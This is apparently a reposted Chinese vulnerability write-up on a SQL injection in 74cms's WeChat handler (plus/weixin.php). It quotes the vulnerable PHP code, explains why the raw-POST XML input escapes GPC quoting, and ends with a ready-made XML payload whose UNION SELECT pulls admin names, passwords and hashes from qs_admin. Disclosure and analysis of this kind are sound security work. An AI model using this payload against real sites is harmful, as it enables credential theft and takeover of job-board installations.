74cms注入一枚(无视GPC)

版本为最新的20140808

0x01代码分析

看到plusweixin.php有如下代码

public function responseMsg()
    {
        $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
        if (!empty($postStr))
        {
                
                  $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                $fromUsername = $postObj->FromUserName;
                $toUsername = $postObj->ToUserName;
                $keyword = trim($postObj->Content);
                $keyword = iconv("utf-8","gb2312",$keyword);
                $time = time();
                $event = trim($postObj->Event);
                if ($event === "subscribe")
                {
                    $word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。";
                    $text="<xml>
                    <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                    <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                    <CreateTime>".$time."</CreateTime>
                    <MsgType><![CDATA[text]]></MsgType>
                    <Content><![CDATA[".$word."]]></Content>
                    </xml> ";
                    exit($text);                
                }     
                   if (!empty($keyword))
                {
                
                    if($_CFG['sina_apiopen']=='0')
                    {
                            $word="网站微信接口已经关闭";
                            $text="<xml>
                            <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                            <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                            <CreateTime>".$time."</CreateTime>
                            <MsgType><![CDATA[text]]></MsgType>
                            <Content><![CDATA[".$word."]]></Content>
                            </xml> ";
                            exit($text);
                    }
                
                                        $limit=" LIMIT 6";
                                        $orderbysql=" ORDER BY refreshtime DESC";
                                        if($keyword=="n")
                                        {
                                            $jobstable=table('jobs_search_rtime');             
                                        }
                                        else if($keyword=="j")
                                        {
                                            $jobstable=table('jobs_search_rtime');
                                            $wheresql=" where `emergency`=1 ";    
                                        }
                                        else
                                        {
                                        $jobstable=table('jobs_search_key');
                                        $wheresql.=" where likekey LIKE '%{$keyword}%' ";
                                        }
                                        $word='';
                                        $list = $id = array();
                                        $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
                                        while($row = $this->fetch_array($idresult))
                                        {
                                        $id[]=$row['id'];
                                        }
                                        if (!empty($id))
                                        {
                                        $wheresql=" WHERE id IN (".implode(',',$id).") ";
                                        $result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);    
                                            while($row = $this->fetch_array($result))
                                            {
                                            //$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']));
                                            $row['addtime']=date("Y-m-d",$row['addtime']);
                                            $row['deadline']=date("Y-m-d",$row['deadline']);
                                            $row['refreshtime']=date("Y-m-d",$row['refreshtime']);
                                            $word.="{$row['companyname']}
招聘职位:{$row['jobs_name']}
薪金待遇:{$row['wage_cn']}
招聘人数:{$row['amount']}
发布日期:{$row['addtime']}
截止日期:{$row['deadline']} 
--------------------------
";
                                            }
                                        }
                                        if(empty($word))
                                        {
                                            $word="没有找到包含关键字 {$keyword} 的信息,试试其他关键字";
                                            $text="<xml>
                                            <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                            <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                            <CreateTime>".$time."</CreateTime>
                                            <MsgType><![CDATA[text]]></MsgType>
                                            <Content><![CDATA[".$word."]]></Content>
                                            </xml> ";
                                            exit($text);
                                        }
                                        else
                                        {
                                                $word=rtrim($word,'/
');
                                                $word=rtrim($word,'-');
                                                $text="<xml>
                                                <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                                <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                                <CreateTime>".$time."</CreateTime>
                                                <MsgType><![CDATA[text]]></MsgType>
                                                <Content><![CDATA[".$word."]]></Content>
                                                </xml> ";
                                                exit($text);
                                        }     
                }
                else 
                {
                exit("");
                }
        }
    }

使用$GLOBALS["HTTP_RAW_POST_DATA"]; 接收参数,这个类似于POST,但是和POST有点点不一样。如果提提交a=1,它接收的也是a=1。然后继续看代码,我们传进来的值经过了simplexml_load_string这个函数,这个函数是用来解析xml的。然后我们看到$keyword,跟踪一下$keyword发现直接进入了数据库。这个中间是没有任何过滤的。但是,看到有单引号,不过没关系我们传进来的参数的不受GPC影响的。然后如何利用呢?我们应该构造一个恶意的xml,来进行注入。

0x02漏洞利用

我们看到$keyword的内容是通过</Content>获得的,那我们就构造这样的xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xml><Content>1%' union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content>
</xml>

由于是白盒测试,所以数据库结构我们是知道的,然后直接构造exp就行。

QQ截图20140819205334

原文地址:https://www.cnblogs.com/Bl4ckc0de/p/3923049.html